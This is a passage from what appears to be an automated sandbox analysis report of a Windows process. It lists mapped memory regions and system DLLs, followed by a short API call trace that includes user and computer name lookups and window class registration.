"\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll") Region: id = 275 start_va = 0x74180000 end_va = 0x7426ffff entry_point = 0x74180000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\766a572f745b54553bd34406293b4f78\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\766a572f745b54553bd34406293b4f78\\system.configuration.ni.dll") Region: id = 276 start_va = 0x700b0000 end_va = 0x707c5fff entry_point = 0x700b0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\427ed7b1258457fdb8be46e9dd87cbd2\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\427ed7b1258457fdb8be46e9dd87cbd2\\system.xml.ni.dll") Region: id = 277 start_va = 0x4d0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 278 start_va = 0x74120000 end_va = 0x74171fff entry_point = 0x74120000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 279 start_va = 0x74e70000 end_va = 0x74e84fff entry_point = 0x74e70000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 280 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 281 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 282 start_va = 0x6150000 end_va = 0x627ffff entry_point = 0x0 region_type = private name = "private_0x0000000006150000" filename = "" Region: id = 283 start_va = 0x74e60000 end_va = 0x74e6cfff entry_point = 0x74e60000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 284 start_va = 0x740e0000 end_va = 0x7411bfff entry_point = 0x740e0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 285 start_va = 0x6280000 end_va = 0x645ffff entry_point = 0x0 region_type = private name = "private_0x0000000006280000" filename = "" Region: id = 286 start_va = 0x74e50000 end_va = 0x74e54fff entry_point = 0x74e50000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 287 start_va = 0x74e40000 end_va = 0x74e45fff entry_point = 0x74e40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 288 start_va = 0x1170000 end_va = 0x122ffff entry_point = 0x1170000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 289 start_va = 0x4be0000 end_va = 0x4c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004be0000" filename = "" Region: id = 290 start_va = 0x6320000 end_va = 0x641ffff entry_point = 0x0 region_type = private name = "private_0x0000000006320000" filename = "" Region: id = 291 start_va = 0x6420000 end_va = 0x645ffff entry_point = 0x0 region_type = private name = "private_0x0000000006420000" filename = "" Region: id = 292 start_va = 0x74080000 end_va = 0x740d7fff entry_point = 0x74080000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 293 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 294 start_va = 0x74030000 end_va = 0x7407efff entry_point = 0x74030000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 295 start_va = 0xdf0000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 296 start_va = 0x4970000 end_va = 0x49affff entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 297 start_va = 0x4a10000 end_va = 0x4a1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 298 start_va = 0x6600000 end_va = 0x66fffff entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 299 start_va = 0x6730000 end_va = 0x682ffff entry_point = 0x0 region_type = private name = "private_0x0000000006730000" filename = "" Region: id = 300 start_va = 0x73e10000 end_va = 0x73e25fff entry_point = 0x73e10000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 301 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 302 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 303 start_va = 0x73e60000 end_va = 0x73e67fff entry_point = 0x73e60000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll") Region: id = 304 start_va = 0x73e10000 end_va = 0x73e2bfff entry_point = 0x73e10000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 305 start_va = 0x73e40000 end_va = 0x73e46fff entry_point = 0x73e40000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 306 start_va = 0x6460000 end_va = 0x655ffff entry_point = 0x0 region_type = private name = "private_0x0000000006460000" filename = "" Region: id = 307 start_va = 0x73e00000 end_va = 0x73e0cfff entry_point = 0x73e00000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 308 start_va = 0x73de0000 end_va = 0x73df1fff entry_point = 0x73de0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 309 start_va = 0x76640000 end_va = 0x76666fff entry_point = 0x76640000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 310 start_va = 0x49d0000 end_va = 0x4a0ffff entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 311 start_va = 0x6950000 end_va = 0x6a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006950000" filename = "" Region: id = 312 start_va = 0x73dc0000 end_va = 0x73dd5fff entry_point = 0x73dc0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 313 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 314 start_va = 0xa70000 end_va = 0xaabfff entry_point = 0xa70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 315 start_va = 0xa70000 end_va = 0xaabfff entry_point = 0xa70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 316 start_va = 0xa70000 end_va = 0xaabfff entry_point = 0xa70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 317 start_va = 0xa70000 end_va = 0xaabfff entry_point = 0xa70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 318 start_va = 0xa70000 end_va = 0xaabfff entry_point = 0xa70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 319 start_va = 0x73d80000 end_va = 0x73dbafff entry_point = 0x73d80000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 320 start_va = 0x73d70000 end_va = 0x73d7dfff entry_point = 0x73d70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 321 start_va = 0x61a0000 end_va = 0x61dffff entry_point = 0x0 region_type = private name = "private_0x00000000061a0000" filename = "" Region: id = 322 start_va = 0x6240000 end_va = 0x627ffff entry_point = 0x0 region_type = private name = "private_0x0000000006240000" filename = "" Region: id = 323 start_va = 0x6a60000 end_va = 0x6b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000006a60000" filename = "" Region: id = 324 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 325 start_va = 0x600000 end_va = 0x600fff entry_point = 0x600000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 326 start_va = 0x600000 end_va = 0x600fff entry_point = 0x600000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 327 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 328 start_va = 0x600000 end_va = 0x600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 329 start_va = 0x610000 end_va = 0x610fff entry_point = 0x610000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 330 start_va = 0x610000 end_va = 0x616fff entry_point = 0x610000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 331 start_va = 0x610000 end_va = 0x610fff entry_point = 0x610000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 332 start_va = 0x610000 end_va = 0x616fff entry_point = 0x610000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 333 start_va = 0x610000 end_va = 0x610fff entry_point = 0x610000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 334 start_va = 0x610000 end_va = 0x616fff entry_point = 0x610000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 335 start_va = 0x73d20000 end_va = 0x73d63fff entry_point = 0x73d20000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 336 start_va = 0x6b60000 end_va = 0x6d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006b60000" filename = "" Region: id = 337 start_va = 0x73d10000 end_va = 0x73d15fff entry_point = 0x73d10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 338 start_va = 0x73cd0000 end_va = 0x73d07fff entry_point = 0x73cd0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 339 start_va = 0x4a20000 end_va = 0x4a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 340 start_va = 0x610000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 341 start_va = 0x660000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 342 start_va = 0x730000 end_va = 0x73ffff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 343 start_va = 0xa70000 end_va = 0xa7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 344 start_va = 0x73cc0000 end_va = 0x73ccafff entry_point = 0x73cc0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 345 start_va = 0x73ca0000 end_va = 0x73cb6fff entry_point = 0x73ca0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 346 start_va = 0x6830000 end_va = 0x692ffff entry_point = 0x0 region_type = private name = "private_0x0000000006830000" filename = "" Region: id = 347 start_va = 0x6d10000 end_va = 0x6f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006d10000" filename = "" Region: id = 348 start_va = 0x4ba0000 end_va = 0x4bdffff entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 349 start_va = 0x7030000 end_va = 0x712ffff entry_point = 0x0 region_type = private name = "private_0x0000000007030000" filename = "" Region: id = 350 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 351 start_va = 0x7130000 end_va = 0x912ffff entry_point = 0x0 region_type = private name = "private_0x0000000007130000" filename = "" Region: id = 352 start_va = 0x9130000 end_va = 0x931ffff entry_point = 0x0 region_type = private name = "private_0x0000000009130000" filename = "" Region: id = 353 start_va = 0x9320000 end_va = 0xb31ffff entry_point = 0x0 region_type = private name = "private_0x0000000009320000" filename = "" Region: id = 354 start_va = 0xb320000 end_va = 0xb6effff entry_point = 0x0 region_type = private name = "private_0x000000000b320000" filename = "" Region: id = 355 start_va = 0xb6f0000 end_va = 0xd6effff entry_point = 0x0 region_type = private name = "private_0x000000000b6f0000" filename = "" Region: id = 356 start_va = 0xd6f0000 end_va = 0x116effff entry_point = 0x0 region_type = private name = "private_0x000000000d6f0000" filename = "" Region: id = 357 start_va = 0x116f0000 end_va = 0x11e7ffff entry_point = 0x0 region_type = private name = "private_0x00000000116f0000" filename = "" Region: id = 358 start_va = 0x11e80000 end_va = 0x13e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000011e80000" filename = "" Region: id = 359 start_va = 0x73c90000 end_va = 0x73c97fff entry_point = 0x73c90000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 360 start_va = 0x73c50000 end_va = 0x73c89fff entry_point = 0x73c50000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 361 start_va = 0x76190000 end_va = 0x762acfff entry_point = 0x76190000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 362 start_va = 0x772c0000 end_va = 0x772cbfff entry_point = 0x772c0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 363 start_va = 0x73c10000 end_va = 0x73c47fff entry_point = 0x73c10000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 364 start_va = 0x73bd0000 end_va = 0x73c0cfff entry_point = 0x73bd0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 365 start_va = 0x5080000 end_va = 0x50bffff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 366 start_va = 0x13ed0000 end_va = 0x13fcffff entry_point = 0x0 region_type = private name = "private_0x0000000013ed0000" filename = "" Region: id = 367 start_va = 0x73bb0000 end_va = 0x73bc6fff entry_point = 0x73bb0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 368 start_va = 0x7ef92000 end_va = 0x7ef94fff entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 369 start_va = 0x73b90000 end_va = 0x73ba5fff entry_point = 0x73b90000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 370 start_va = 0x73a90000 end_va = 0x73b84fff entry_point = 0x73a90000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 371 start_va = 0x3e0000 end_va = 0x3e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 372 start_va = 0x73a40000 end_va = 0x73a8bfff entry_point = 0x73a40000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 373 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 374 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 375 start_va = 0x400000 end_va = 0x400fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 376 start_va = 0x6f630000 end_va = 0x700affff entry_point = 0x6f630000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 377 start_va = 0x76420000 end_va = 0x76424fff entry_point = 0x76420000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 378 start_va = 0x73f10000 end_va = 0x73f4bfff entry_point = 0x73f10000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 379 start_va = 0x757f0000 end_va = 0x759eafff entry_point = 0x757f0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 380 start_va = 0x410000 end_va = 0x410fff entry_point = 0x410000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 381 start_va = 0x420000 end_va = 0x421fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 382 start_va = 0x762e0000 end_va = 0x76415fff entry_point = 0x762e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 383 start_va = 0x75be0000 end_va = 0x75cd4fff entry_point = 0x75be0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 384 start_va = 0x75e10000 end_va = 0x75e21fff entry_point = 0x75e10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 385 start_va = 0x75ff0000 end_va = 0x7618cfff entry_point = 0x75ff0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 386 start_va = 0x73ee0000 end_va = 0x73f00fff entry_point = 0x73ee0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 387 start_va = 0x6b70000 end_va = 0x6baffff entry_point = 0x0 region_type = private name = "private_0x0000000006b70000" filename = "" Region: id = 388 start_va = 0x6cd0000 end_va = 0x6d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000006cd0000" filename = "" Region: id = 389 start_va = 0x14010000 end_va = 0x1410ffff entry_point = 0x0 region_type = private name = "private_0x0000000014010000" filename = "" Region: id = 390 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 391 start_va = 0x7ef8f000 end_va = 0x7ef91fff entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 392 start_va = 0x430000 end_va = 0x433fff entry_point = 0x430000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 393 start_va = 0x440000 end_va = 0x45efff entry_point = 0x440000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 394 start_va = 0x460000 end_va = 0x460fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 395 start_va = 0x6bb0000 end_va = 0x6cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000006bb0000" filename = "" Region: id = 396 start_va = 0x6bb0000 end_va = 0x6cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000006bb0000" filename = "" Region: id = 397 start_va = 0x6bb0000 end_va = 0x6cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000006bb0000" filename = "" Region: id = 398 start_va = 0x430000 end_va = 0x433fff entry_point = 0x430000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 399 start_va = 0xa70000 end_va = 0xa9ffff entry_point = 0xa70000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 400 start_va = 0x470000 end_va = 0x473fff entry_point = 0x470000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 401 start_va = 0x6280000 end_va = 0x62e5fff entry_point = 0x6280000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 402 start_va = 0x4c0000 end_va = 0x4c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 449 start_va = 0x50d0000 end_va = 0x510ffff entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 450 start_va = 0x14230000 end_va = 0x1432ffff entry_point = 0x0 region_type = private name = "private_0x0000000014230000" filename = "" Region: id = 451 start_va = 0x7ef8c000 end_va = 0x7ef8efff entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Thread: id = 1 os_tid = 0x7e4 [0037.306] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0040.999] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x39ee3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0041.024] IsAppThemed () returned 0x1 [0041.028] CoTaskMemAlloc (cb=0xf0) returned 0x53be20 [0041.028] CreateActCtxA (pActCtx=0x39f338) returned 0x53c014 [0041.111] CoTaskMemFree (pv=0x53be20) [0041.130] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc13a [0041.130] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc13c [0041.141] GetUserNameW (in: lpBuffer=0x39f17c, pcbBuffer=0x39f3f4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x39f3f4) returned 1 [0041.149] GetComputerNameW (in: lpBuffer=0x39f17c, nSize=0x39f3f4 | out: lpBuffer="XDUWTFONO", nSize=0x39f3f4) returned 1 [0041.164] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0041.851] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x745a0000 [0041.874] AdjustWindowRectEx (in: lpRect=0x39f394, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x39f394) returned 1 [0041.876] GetCurrentProcess () returned 0xffffffff [0041.877] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x39f2ac, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x39f2ac*=0x1f8) returned 1 [0041.902] GetCurrentActCtx (in: lphActCtx=0x39f20c | out: lphActCtx=0x39f20c*=0x0) returned 1 [0041.902] ActivateActCtx (in: hActCtx=0x53c014, lpCookie=0x39f21c | out: hActCtx=0x53c014, lpCookie=0x39f21c) returned 1 [0041.902] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0042.756] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x74400000 [0042.767] GetModuleHandleW (lpModuleName="user32.dll") returned 0x756f0000 [0042.768] GetProcAddress (hModule=0x756f0000, lpProcName="DefWindowProcW") returned 0x778825dd [0042.769] GetStockObject (i=5) returned 0x1900015 [0042.792] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0042.796] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0042.796] RegisterClassW (lpWndClass=0x39f0c4) returned 0xc13b [0042.796] CoTaskMemFree (pv=0x549bd8) [0042.796] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 